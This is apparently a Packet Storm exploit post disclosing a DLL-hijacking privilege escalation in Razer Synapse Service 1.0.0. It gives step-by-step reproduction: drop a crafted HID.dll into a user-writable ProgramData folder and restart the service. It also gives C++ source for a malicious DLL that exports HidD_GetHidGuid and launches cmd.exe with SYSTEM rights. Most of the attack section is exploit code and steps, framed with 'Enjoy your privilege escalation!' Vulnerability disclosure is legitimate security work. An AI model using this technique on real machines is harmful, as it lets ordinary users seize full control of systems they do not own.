what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Razer Synapse Service 1.0.0 DLL Injection

Razer Synapse Service 1.0.0 DLL Injection
Posted Mar 18, 2020
Authored by Juan Sacco

Razer Synapse Service version 1.0.0 suffers from a DLL injection vulnerability that can escalate privileges to SYSTEM.

tags | exploit
SHA-256 | 495359aea72909f15906270788c6b74cd49fa920f716256f202875b418a86cf3

Razer Synapse Service 1.0.0 DLL Injection

Change Mirror Download
Discovered by: Juan Sacco <jsacco@exploitpack.com>
Razer Synapse Service v1.0.0 is prone to a DLL Injection because it
fails to properly filter user supplied input and loads a .DLL from
%ProgramData% from userland with SYSTEM rights allowing to escalate
the priveleges from a regular user to SYSTEM rights.

Program: Raze Synapse Service
Version: 1.0.0
Vendor: https://www.razer.com/
Download link: https://www.razer.com/downloads

Steps To Reproduce:
Move your .DLL to C:\ProgramData\Razer\Synapse3\Service\Bin\HID.dll
Restart the PC or restart the service. The service runs with SYSTEM rights.
Enjoy your privilege escalation!

Supporting Material/References:
ProgramData specifies the path to the program-data folder (normally
C:\ProgramData). Unlike the Program Files folder, this folder can be
used by applications to store data for standard users, because it does
not require elevated permissions. Reference:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/ff716245(v=win.10)?redirectedfrom=MSDN#feedback

Razer Synaprse Service.exe loads a DLL ( HID.dll ) from
ProgramData\Razer\Synapse3\Service\ folder with the function:
"HidD_GetHidGuid()" using the following code we can compile a DLL and
export this function from it to being called during attach.

// dllmain.cpp : Defines the entry point for the DLL application.
include "pch.h"
include "windows.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char cmd[] = "cmd.exe /c";
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
case DLL_THREAD_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
case DLL_THREAD_DETACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
case DLL_PROCESS_DETACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
}
return TRUE;
}

extern "C" __declspec(dllexport) void HidD_GetHidGuid()
{
char cmd[] = "cmd.exe /c";
WinExec(cmd, SW_SHOWNORMAL);
}

Impact
A regular user could abuse of this vulnerability to gain full SYSTEM rights.
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close